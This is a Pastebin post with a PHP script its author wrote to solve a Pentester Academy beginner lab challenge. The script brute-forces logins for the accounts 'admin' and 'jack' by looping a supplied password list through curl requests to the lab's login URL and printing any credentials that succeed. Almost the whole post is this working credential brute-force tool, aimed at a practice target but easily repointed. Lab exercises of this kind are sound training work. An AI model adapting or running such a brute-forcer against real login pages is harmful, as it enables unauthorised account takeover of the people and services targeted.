Advertisement
Damane-Dz

Pentester Academy Lab(Challenge 1: Difficulty Level: Beginne

Sep 12th, 2013
865
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Pentester Academy Lab(Challenge 1: Difficulty Level: Beginner)</title>
  4. </head>
  5. <body>
  6. <center>
  7. <h1>Pentester Academy Lab(Challenge 1: Difficulty Level: Beginner) By DamaneDz</h1>
  8. <br>
  9. <p>&nbsp;</p>
  10. <form method="post" action="">
  11. Password's List:<br>
  12. <textarea name="passwords" >123456</textarea>
  13. <p>&nbsp;</p>
  14. <p align="center">
  15. <input name="brute" size="80" value="Brute" type="submit"></br>
  16. </p>
  17. </form>
  18. <?php
  19.  
  20. set_time_limit(0);
  21. ini_set("max_execution_time",0);
  22. ob_implicit_flush(1);
  23. ini_set("default_socket_timeout",1);
  24.  
  25. /*
  26. This File was Coded By DamaneDz
  27.  
  28. For Pentester Academy Lab (Challenge 1)
  29.  
  30. For The Pass List You Can use This Function
  31.  
  32. function pass_generator($length,$words){
  33. $pass = "";
  34. $maxlength = strlen($words);
  35. if($length>$maxlength){
  36. $length=$maxlength;
  37. }
  38. $i = 0;
  39. while($i<$length){
  40. $char = substr($words, mt_rand(0, $maxlength-1), 1);
  41. if (!strstr($pass, $char)) {
  42. $pass .= $char;
  43. $i++;
  44. }
  45. }
  46. return $pass;
  47. }
  48.  
  49. 2013/2014
  50.  
  51. My Blog:www.damanedz.com/blog/
  52.  
  53. Skype:DamaneDz
  54.  
  55. Twitter:DamaneDz
  56.  
  57. */
  58.  
  59.  
  60.  
  61. if($_POST["brute"]){
  62. flush();
  63. @ob_flush();
  64. $passwords=explode("\n",$_POST["passwords"]);
  65. $users=array("admin","jack");
  66. foreach($users as $user){
  67. $user=trim($user);
  68. foreach($passwords as $pass){
  69. $pass=trim($pass);
  70. if(crack($user,$pass)){
  71. echo "<font color=green>Account CrackeD ==>{$user}:{$pass}</font><br>";
  72. break;
  73. }
  74. }
  75. }
  76. }
  77.  
  78. function crack($user,$pass){
  79. $ch = curl_init();
  80. curl_setopt($ch, CURLOPT_URL, "http://pentesteracademylab.appspot.com/lab/webapp/1?email={$user}@PentesterAcademy.com&password={$pass}");
  81. curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
  82. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  83. $login = curl_exec($ch);
  84. if(!preg_match("#Failed#i",$login)){
  85. return true;
  86. }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement